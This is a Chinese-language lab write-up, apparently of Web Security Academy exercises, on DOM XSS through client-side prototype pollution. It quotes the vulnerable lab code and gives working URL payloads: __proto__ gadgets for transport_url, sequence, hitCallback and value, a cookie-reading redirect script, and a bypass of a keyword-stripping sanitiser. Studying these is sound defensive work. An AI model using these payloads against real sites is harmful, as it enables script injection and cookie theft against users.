通过客户端原型污染的 DOM XSS
首先在控制台上面 执行 Object.prototype
接着在url 尝试通过任意字符串注入任意属性
再次执行Object.prototype 发现我们的属性已经被注入进去了
async function searchLogger ( ) { let config = {params : deparam (new URL (location).searchParams .toString ())}; if (config.transport_url ) { let script = document .createElement ('script' ); script.src = config.transport_url ; document .body .appendChild (script); } if (config.params && config.params .search ) { await logQuery ('/logger' , config.params ); } }
这段代码的作用很简单 就是将 url中的参数解析 并传给config的 params 而其中的deparam函数是将当前url中的查询参数解析为一个对象 如果存在 transport_url 就先将值放到js脚本中
?__proto__[transport_url]=bar
?__proto__[transport_url]=data:,alert(1);
其中使用了data: 协议 用于嵌入小型的js脚本
<script src="data:,alert(1);"></script>
通过替代原型污染向量的 DOM XSS
这次 不行
换一种方式执行
async function searchLogger ( ) { window .macros = {}; window .manager = {params : $.parseParams (new URL (location)), macro (property ) { if (window .macros .hasOwnProperty (property)) return macros[property] }}; let a = manager.sequence || 1 ; manager.sequence = a + 1 ; eval ('if(manager && manager.sequence){ manager.macro(' +manager.sequence +') }' ); if (manager.params && manager.params .search ) { await logQuery ('/logger' , manager.params ); } }
/?__proto__.sequence=alert(1)
但是这里并没有执行 原因就是这里 加了一个 1
/?__proto__.sequence=alert(1)-
第三方库中的客户端原型污染
https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%281%29
<script> location="https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29" </script>
通过浏览器 API 造成的客户端原型污染
async function searchLogger ( ) { let config = {params : deparam (new URL (location).searchParams .toString ()), transport_url : false }; Object .defineProperty (config, 'transport_url' , {configurable : false , writable : false }); if (config.transport_url ) { let script = document .createElement ('script' ); script.src = config.transport_url ; document .body .appendChild (script); } if (config.params && config.params .search ) { await logQuery ('/logger' , config.params ); } }
这里的 Object.defineProperty 用于给对象定义或者修改属性 我们举一个赋值只读属性的例子 其中的 obj 作为赋值的对象 readOnly 为赋值的名称 value 为属性的值 writeable 为是否可写
const obj = {};Object .defineProperty (obj, 'readOnly' , { value : 'This is a read-only property' , writable : false , }); console .log (obj.readOnly ); obj.readOnly = 'Can I change it?' ; console .log (obj.readOnly );
那么这里你就能发现了 我们上面的 transport_url 并没有给value 赋值 因此我们可以污染value
同样的先找污染的方法
/?__proto__[value]=data:,alert(1)
通过有缺陷的消毒造成客户端原型污染
/?__proto__.foo=bar /?constructor.prototype.foo=bar
尝试寻找污染方式
发现存在过滤
function sanitizeKey (key ) { let badProperties = ['constructor' ,'__proto__' ,'prototype' ]; for (let badProperty of badProperties) { key = key.replaceAll (badProperty, '' ); } return key; }
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__[transport_url]=data:,alert(1)